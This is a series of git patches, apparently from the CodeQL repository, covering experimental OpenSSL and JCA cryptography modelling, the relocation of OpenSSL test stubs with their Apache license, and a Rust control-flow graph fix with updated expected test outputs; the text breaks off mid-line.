cannot be resolved, + // or issues with properly stubbing test cases, we also explicitly check for the wrapping type defs + // i.e., patterns matching 'EVP_%_CTX' + exists(Type base | base = this or base = this.(DerivedType).getBaseType() | + base.getName().matches("EVP_%_CTX") + ) + } } /** diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll index bb884f6db530..233bfd504338 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/Operations/EVPCipherOperation.qll @@ -10,7 +10,7 @@ private module AlgGetterToAlgConsumerConfig implements DataFlow::ConfigSig { } predicate isSink(DataFlow::Node sink) { - exists(EVP_Cipher_Operation c | c.getInitCall().getAlgorithmArg() = sink.asExpr()) + exists(EVP_Cipher_Operation c | c.getAlgorithmArg() = sink.asExpr()) } } @@ -32,6 +32,8 @@ private module AlgGetterToAlgConsumerFlow = DataFlow::Global 0) { + // Success + plaintext_len += len; + return plaintext_len; + } else { + // Verification failed + return -1; + } +} + +// Function to calculate SHA-256 hash +int calculate_sha256(const unsigned char *message, size_t message_len, + unsigned char *digest) { + EVP_MD_CTX *mdctx; + unsigned int digest_len; + + // Create and initialize the context + if(!(mdctx = EVP_MD_CTX_new())) + return 0; + + // Initialize the hash operation + if(1 != EVP_DigestInit_ex(mdctx, EVP_sha256(), NULL)) + return 0; + + // Provide the message to be hashed + if(1 != EVP_DigestUpdate(mdctx, message, message_len)) + return 0; + + // Finalize the hash + if(1 != EVP_DigestFinal_ex(mdctx, digest, &digest_len)) + return 0; + + // Clean up + EVP_MD_CTX_free(mdctx); + + return 1; +} + +// Function to generate random bytes +int generate_random_bytes(unsigned char *buffer, size_t length) { + return RAND_bytes(buffer, length); +} + +// Function using direct EVP_Digest function (one-shot hash) +int calculate_md5_oneshot(const unsigned char *message, size_t message_len, + unsigned char *digest) { + unsigned int digest_len; + + // Calculate MD5 in a single call + if(1 != EVP_Digest(message, message_len, digest, &digest_len, EVP_md5(), NULL)) + return 0; + + return 1; +} + +// Function using HMAC +int calculate_hmac_sha256(const unsigned char *key, size_t key_len, + const unsigned char *message, size_t message_len, + unsigned char *mac) { + EVP_MD_CTX *ctx = EVP_MD_CTX_new(); + EVP_PKEY *pkey = EVP_PKEY_new_mac_key(EVP_PKEY_HMAC, NULL, key, key_len); + + if (!ctx || !pkey) + return 0; + + if (EVP_DigestSignInit(ctx, NULL, EVP_sha256(), NULL, pkey) != 1) + return 0; + + if (EVP_DigestSignUpdate(ctx, message, message_len) != 1) + return 0; + + size_t mac_len = 32; // SHA-256 output size + if (EVP_DigestSignFinal(ctx, mac, &mac_len) != 1) + return 0; + + EVP_MD_CTX_free(ctx); + EVP_PKEY_free(pkey); + + return 1; +} + +// Test function +int test_main() { + // Test encryption and decryption + unsigned char *key = (unsigned char *)"01234567890123456789012345678901"; // 32 bytes + unsigned char *iv = (unsigned char *)"0123456789012345"; // 16 bytes + unsigned char *plaintext = (unsigned char *)"This is a test message for encryption"; + unsigned char ciphertext[1024]; + unsigned char tag[16]; + unsigned char decrypted[1024]; + int plaintext_len = strlen((char *)plaintext); + int ciphertext_len; + int decrypted_len; + + // Test SHA-256 hash + unsigned char hash[32]; + + // Test random generation + unsigned char random_bytes[32]; + + // // Initialize OpenSSL + // ERR_load_crypto_strings(); + + // Encrypt data + ciphertext_len = encrypt_aes_gcm(plaintext, plaintext_len, key, iv, 16, ciphertext, tag); + + // Decrypt data + decrypted_len = decrypt_aes_gcm(ciphertext, ciphertext_len, tag, key, iv, 16, decrypted); + + //printf("decrypted: %s\n", decrypted); + + // Calculate hash + calculate_sha256(plaintext, plaintext_len, hash); + + // Generate random bytes + generate_random_bytes(random_bytes, 32); + + // Calculate one-shot MD5 + unsigned char md5_hash[16]; + calculate_md5_oneshot(plaintext, plaintext_len, md5_hash); + + // Calculate HMAC + unsigned char hmac[32]; + calculate_hmac_sha256(key, 32, plaintext, plaintext_len, hmac); + + return 0; +} \ No newline at end of file From a9bdcc72eb6561ded3a18f249fb26a057ff1df93 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Wed, 28 May 2025 12:05:18 -0400 Subject: [PATCH 483/535] Crypto: Move openssl stubs to a shared stubs location. Include openssl apache license and a readme for future stub creation. Modify existing test case to reference stubs location. --- .../quantum/openssl/openssl_basic.c | 6 +- .../library-tests/quantum/openssl/options | 1 + cpp/ql/test/stubs/README.md | 4 + .../openssl}/alg_macro_stubs.h | 0 .../includes => stubs/openssl}/evp_stubs.h | 0 cpp/ql/test/stubs/openssl/license.txt | 177 ++++++++++++++++++ .../includes => stubs/openssl}/rand_stubs.h | 0 7 files changed, 185 insertions(+), 3 deletions(-) create mode 100644 cpp/ql/test/experimental/library-tests/quantum/openssl/options create mode 100644 cpp/ql/test/stubs/README.md rename cpp/ql/test/{experimental/library-tests/quantum/openssl/includes => stubs/openssl}/alg_macro_stubs.h (100%) rename cpp/ql/test/{experimental/library-tests/quantum/openssl/includes => stubs/openssl}/evp_stubs.h (100%) create mode 100644 cpp/ql/test/stubs/openssl/license.txt rename cpp/ql/test/{experimental/library-tests/quantum/openssl/includes => stubs/openssl}/rand_stubs.h (100%) diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c b/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c index 5e3537064b5b..ba6aa805c0b3 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/openssl_basic.c @@ -1,6 +1,6 @@ -#include "includes/evp_stubs.h" -#include "includes/alg_macro_stubs.h" -#include "includes/rand_stubs.h" +#include "openssl/evp_stubs.h" +#include "openssl/alg_macro_stubs.h" +#include "openssl/rand_stubs.h" size_t strlen(const char* str); diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/options b/cpp/ql/test/experimental/library-tests/quantum/openssl/options new file mode 100644 index 000000000000..06306a3a46ad --- /dev/null +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/options @@ -0,0 +1 @@ +semmle-extractor-options: -I ../../../../stubs \ No newline at end of file diff --git a/cpp/ql/test/stubs/README.md b/cpp/ql/test/stubs/README.md new file mode 100644 index 000000000000..eacd316b95be --- /dev/null +++ b/cpp/ql/test/stubs/README.md @@ -0,0 +1,4 @@ +The stubs in this directory are derived from various open-source projects, and +used to test that the relevant APIs are correctly modelled. Where a disclaimer +or third-party-notice is required, this is included in the top-level directory +for each particular library. \ No newline at end of file diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/includes/alg_macro_stubs.h b/cpp/ql/test/stubs/openssl/alg_macro_stubs.h similarity index 100% rename from cpp/ql/test/experimental/library-tests/quantum/openssl/includes/alg_macro_stubs.h rename to cpp/ql/test/stubs/openssl/alg_macro_stubs.h diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/includes/evp_stubs.h b/cpp/ql/test/stubs/openssl/evp_stubs.h similarity index 100% rename from cpp/ql/test/experimental/library-tests/quantum/openssl/includes/evp_stubs.h rename to cpp/ql/test/stubs/openssl/evp_stubs.h diff --git a/cpp/ql/test/stubs/openssl/license.txt b/cpp/ql/test/stubs/openssl/license.txt new file mode 100644 index 000000000000..49cc83d2ee29 --- /dev/null +++ b/cpp/ql/test/stubs/openssl/license.txt @@ -0,0 +1,177 @@ + + Apache License + Version 2.0, January 2004 + https://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding those notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/includes/rand_stubs.h b/cpp/ql/test/stubs/openssl/rand_stubs.h similarity index 100% rename from cpp/ql/test/experimental/library-tests/quantum/openssl/includes/rand_stubs.h rename to cpp/ql/test/stubs/openssl/rand_stubs.h From 6b267479beaf9aa8dbf79376278adf9dbe04ce2b Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Fri, 30 May 2025 09:35:33 -0400 Subject: [PATCH 484/535] Crypto: Update crypto stubs location under 'crypto' and associate codeowners on any `test/stubs/crypto`. Minor fix to HashAlgorithmValueConsumer (remove library detector logic). --- CODEOWNERS | 1 + .../HashAlgorithmValueConsumer.qll | 11 +++-------- .../library-tests/quantum/openssl/options | 2 +- .../test/stubs/{ => crypto}/openssl/alg_macro_stubs.h | 0 cpp/ql/test/stubs/{ => crypto}/openssl/evp_stubs.h | 0 cpp/ql/test/stubs/{ => crypto}/openssl/license.txt | 0 cpp/ql/test/stubs/{ => crypto}/openssl/rand_stubs.h | 0 7 files changed, 5 insertions(+), 9 deletions(-) rename cpp/ql/test/stubs/{ => crypto}/openssl/alg_macro_stubs.h (100%) rename cpp/ql/test/stubs/{ => crypto}/openssl/evp_stubs.h (100%) rename cpp/ql/test/stubs/{ => crypto}/openssl/license.txt (100%) rename cpp/ql/test/stubs/{ => crypto}/openssl/rand_stubs.h (100%) diff --git a/CODEOWNERS b/CODEOWNERS index 7233623d4528..612a5e8a22ac 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -18,6 +18,7 @@ # Experimental CodeQL cryptography **/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql +**/test/stubs/crypto/ @github/ps-codeql # CodeQL tools and associated docs /docs/codeql/codeql-cli/ @github/codeql-cli-reviewers diff --git a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll index 52d7949561e8..6c4a9c9bd6cd 100644 --- a/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll +++ b/cpp/ql/lib/experimental/quantum/OpenSSL/AlgorithmValueConsumers/HashAlgorithmValueConsumer.qll @@ -3,18 +3,14 @@ private import experimental.quantum.Language private import semmle.code.cpp.dataflow.new.DataFlow private import experimental.quantum.OpenSSL.AlgorithmValueConsumers.OpenSSLAlgorithmValueConsumerBase private import experimental.quantum.OpenSSL.AlgorithmInstances.OpenSSLAlgorithmInstances -private import experimental.quantum.OpenSSL.LibraryDetector abstract class HashAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { } /** * EVP_Q_Digest directly consumes algorithm constant values */ -class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { - EVP_Q_Digest_Algorithm_Consumer() { - isPossibleOpenSSLFunction(this.(Call).getTarget()) and - this.(Call).getTarget().getName() = "EVP_Q_digest" - } +class EVP_Q_Digest_Algorithm_Consumer extends HashAlgorithmValueConsumer { + EVP_Q_Digest_Algorithm_Consumer() { this.(Call).getTarget().getName() = "EVP_Q_digest" } override Crypto::ConsumerInputDataFlowNode getInputNode() { result.asExpr() = this.(Call).getArgument(1) @@ -35,13 +31,12 @@ class EVP_Q_Digest_Algorithm_Consumer extends OpenSSLAlgorithmValueConsumer { * The EVP digest algorithm getters * https://docs.openssl.org/3.0/man3/EVP_DigestInit/#synopsis */ -class EVPDigestAlgorithmValueConsumer extends OpenSSLAlgorithmValueConsumer { +class EVPDigestAlgorithmValueConsumer extends HashAlgorithmValueConsumer { DataFlow::Node valueArgNode; DataFlow::Node resultNode; EVPDigestAlgorithmValueConsumer() { resultNode.asExpr() = this and - isPossibleOpenSSLFunction(this.(Call).getTarget()) and ( this.(Call).getTarget().getName() in [ "EVP_get_digestbyname", "EVP_get_digestbynid", "EVP_get_digestbyobj" diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/options b/cpp/ql/test/experimental/library-tests/quantum/openssl/options index 06306a3a46ad..7ea00eb0bfba 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/options +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/options @@ -1 +1 @@ -semmle-extractor-options: -I ../../../../stubs \ No newline at end of file +semmle-extractor-options: -I ../../../../stubs/crypto \ No newline at end of file diff --git a/cpp/ql/test/stubs/openssl/alg_macro_stubs.h b/cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h similarity index 100% rename from cpp/ql/test/stubs/openssl/alg_macro_stubs.h rename to cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h diff --git a/cpp/ql/test/stubs/openssl/evp_stubs.h b/cpp/ql/test/stubs/crypto/openssl/evp_stubs.h similarity index 100% rename from cpp/ql/test/stubs/openssl/evp_stubs.h rename to cpp/ql/test/stubs/crypto/openssl/evp_stubs.h diff --git a/cpp/ql/test/stubs/openssl/license.txt b/cpp/ql/test/stubs/crypto/openssl/license.txt similarity index 100% rename from cpp/ql/test/stubs/openssl/license.txt rename to cpp/ql/test/stubs/crypto/openssl/license.txt diff --git a/cpp/ql/test/stubs/openssl/rand_stubs.h b/cpp/ql/test/stubs/crypto/openssl/rand_stubs.h similarity index 100% rename from cpp/ql/test/stubs/openssl/rand_stubs.h rename to cpp/ql/test/stubs/crypto/openssl/rand_stubs.h From a473c96a9cd3fd569f68096ac5716c7cae58adb7 Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 2 Jun 2025 09:14:15 -0400 Subject: [PATCH 485/535] Crypto: Move crypto test stubs under experimental/stubs and remove special CODEOWNERS assignments for crypto stubs. --- CODEOWNERS | 1 - cpp/ql/test/experimental/library-tests/quantum/openssl/options | 2 +- cpp/ql/test/{ => experimental}/stubs/README.md | 0 .../crypto => experimental/stubs}/openssl/alg_macro_stubs.h | 0 .../{stubs/crypto => experimental/stubs}/openssl/evp_stubs.h | 0 .../{stubs/crypto => experimental/stubs}/openssl/license.txt | 0 .../{stubs/crypto => experimental/stubs}/openssl/rand_stubs.h | 0 7 files changed, 1 insertion(+), 2 deletions(-) rename cpp/ql/test/{ => experimental}/stubs/README.md (100%) rename cpp/ql/test/{stubs/crypto => experimental/stubs}/openssl/alg_macro_stubs.h (100%) rename cpp/ql/test/{stubs/crypto => experimental/stubs}/openssl/evp_stubs.h (100%) rename cpp/ql/test/{stubs/crypto => experimental/stubs}/openssl/license.txt (100%) rename cpp/ql/test/{stubs/crypto => experimental/stubs}/openssl/rand_stubs.h (100%) diff --git a/CODEOWNERS b/CODEOWNERS index 612a5e8a22ac..7233623d4528 100644 --- a/CODEOWNERS +++ b/CODEOWNERS @@ -18,7 +18,6 @@ # Experimental CodeQL cryptography **/experimental/**/quantum/ @github/ps-codeql /shared/quantum/ @github/ps-codeql -**/test/stubs/crypto/ @github/ps-codeql # CodeQL tools and associated docs /docs/codeql/codeql-cli/ @github/codeql-cli-reviewers diff --git a/cpp/ql/test/experimental/library-tests/quantum/openssl/options b/cpp/ql/test/experimental/library-tests/quantum/openssl/options index 7ea00eb0bfba..eb3abc42d12c 100644 --- a/cpp/ql/test/experimental/library-tests/quantum/openssl/options +++ b/cpp/ql/test/experimental/library-tests/quantum/openssl/options @@ -1 +1 @@ -semmle-extractor-options: -I ../../../../stubs/crypto \ No newline at end of file +semmle-extractor-options: -I ../../../stubs \ No newline at end of file diff --git a/cpp/ql/test/stubs/README.md b/cpp/ql/test/experimental/stubs/README.md similarity index 100% rename from cpp/ql/test/stubs/README.md rename to cpp/ql/test/experimental/stubs/README.md diff --git a/cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h b/cpp/ql/test/experimental/stubs/openssl/alg_macro_stubs.h similarity index 100% rename from cpp/ql/test/stubs/crypto/openssl/alg_macro_stubs.h rename to cpp/ql/test/experimental/stubs/openssl/alg_macro_stubs.h diff --git a/cpp/ql/test/stubs/crypto/openssl/evp_stubs.h b/cpp/ql/test/experimental/stubs/openssl/evp_stubs.h similarity index 100% rename from cpp/ql/test/stubs/crypto/openssl/evp_stubs.h rename to cpp/ql/test/experimental/stubs/openssl/evp_stubs.h diff --git a/cpp/ql/test/stubs/crypto/openssl/license.txt b/cpp/ql/test/experimental/stubs/openssl/license.txt similarity index 100% rename from cpp/ql/test/stubs/crypto/openssl/license.txt rename to cpp/ql/test/experimental/stubs/openssl/license.txt diff --git a/cpp/ql/test/stubs/crypto/openssl/rand_stubs.h b/cpp/ql/test/experimental/stubs/openssl/rand_stubs.h similarity index 100% rename from cpp/ql/test/stubs/crypto/openssl/rand_stubs.h rename to cpp/ql/test/experimental/stubs/openssl/rand_stubs.h From f5d24c5a7bb243711307620b71502438d6250eff Mon Sep 17 00:00:00 2001 From: "REDMOND\\brodes" Date: Mon, 2 Jun 2025 10:11:53 -0400 Subject: [PATCH 486/535] Crypto: Fix UnknownKeyAgreementType to OthernKeyAgreementType for JCA. --- java/ql/lib/experimental/quantum/JCA.qll | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/java/ql/lib/experimental/quantum/JCA.qll b/java/ql/lib/experimental/quantum/JCA.qll index 8245abe13c40..f785c3c96285 100644 --- a/java/ql/lib/experimental/quantum/JCA.qll +++ b/java/ql/lib/experimental/quantum/JCA.qll @@ -1388,7 +1388,7 @@ module JCAModel { override Crypto::TKeyAgreementType getKeyAgreementType() { if key_agreement_name_to_type_known(_, super.getValue()) then key_agreement_name_to_type_known(result, super.getValue()) - else result = Crypto::UnknownKeyAgreementType() + else result = Crypto::OtherKeyAgreementType() } KeyAgreementAlgorithmValueConsumer getConsumer() { result = consumer } From ae0c547e89a8fc92ca2fd90aa8442dfd9a7ae03d Mon Sep 17 00:00:00 2001 From: Arthur Baars Date: Mon, 2 Jun 2025 15:36:05 +0200 Subject: [PATCH 487/535] Rust: fix CFG for MacroPat --- .../internal/ControlFlowGraphImpl.qll | 2 ++ .../controlflow/BasicBlocks.expected | 25 ++----------------- .../CONSISTENCY/CfgConsistency.expected | 7 ------ .../library-tests/controlflow/Cfg.expected | 2 -- 4 files changed, 4 insertions(+), 32 deletions(-) delete mode 100644 rust/ql/test/library-tests/controlflow/CONSISTENCY/CfgConsistency.expected diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 601e0c90e40d..522eaf59fe6d 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -143,6 +143,8 @@ class LetStmtTree extends PreOrderTree, LetStmt { } class MacroCallTree extends StandardPostOrderTree, MacroCall { + MacroCallTree() { not this.getParentNode() instanceof MacroPat } + override AstNode getChildNode(int i) { i = 0 and result = this.getMacroCallExpansion() } } diff --git a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected index 2b87a4996b17..1b4b770c1309 100644 --- a/rust/ql/test/library-tests/controlflow/BasicBlocks.expected +++ b/rust/ql/test/library-tests/controlflow/BasicBlocks.expected @@ -675,20 +675,11 @@ dominates | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:455:30:455:30 | 3 | -| test.rs:453:5:458:5 | enter fn or_pattern_3 | test.rs:456:13:456:13 | _ | | test.rs:454:9:457:9 | match a { ... } | test.rs:454:9:457:9 | match a { ... } | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:30:455:30 | 3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:461:9:464:9 | match pair { ... } | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:462:32:462:32 | _ | @@ -1356,16 +1347,9 @@ postDominance | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:454:9:457:9 | match a { ... } | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | | test.rs:455:13:455:25 | 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:455:13:455:25 | one_or_two!... | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:455:30:455:30 | 3 | test.rs:455:30:455:30 | 3 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:456:13:456:13 | _ | | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:461:9:464:9 | match pair { ... } | test.rs:461:9:464:9 | match pair { ... } | @@ -1673,9 +1657,6 @@ immediateDominator | test.rs:455:13:455:25 | 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | test.rs:455:13:455:25 | 2 | | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:13:455:25 | one_or_two!... | test.rs:453:5:458:5 | enter fn or_pattern_3 | -| test.rs:455:30:455:30 | 3 | test.rs:455:13:455:25 | [match(true)] 1 \| 2 | -| test.rs:456:13:456:13 | _ | test.rs:455:13:455:25 | [match(false)] 1 \| 2 | | test.rs:461:9:464:9 | match pair { ... } | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:462:32:462:32 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | | test.rs:463:13:463:13 | _ | test.rs:460:5:465:5 | enter fn irrefutable_pattern_and_dead_code | @@ -2204,12 +2185,10 @@ joinBlockPredecessor | test.rs:443:13:443:36 | ... \| ... | test.rs:443:26:443:36 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:13:443:22 | Some(...) | 1 | | test.rs:443:26:443:36 | Some(...) | test.rs:443:18:443:21 | true | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:455:30:455:30 | 3 | 0 | -| test.rs:454:9:457:9 | match a { ... } | test.rs:456:13:456:13 | _ | 1 | +| 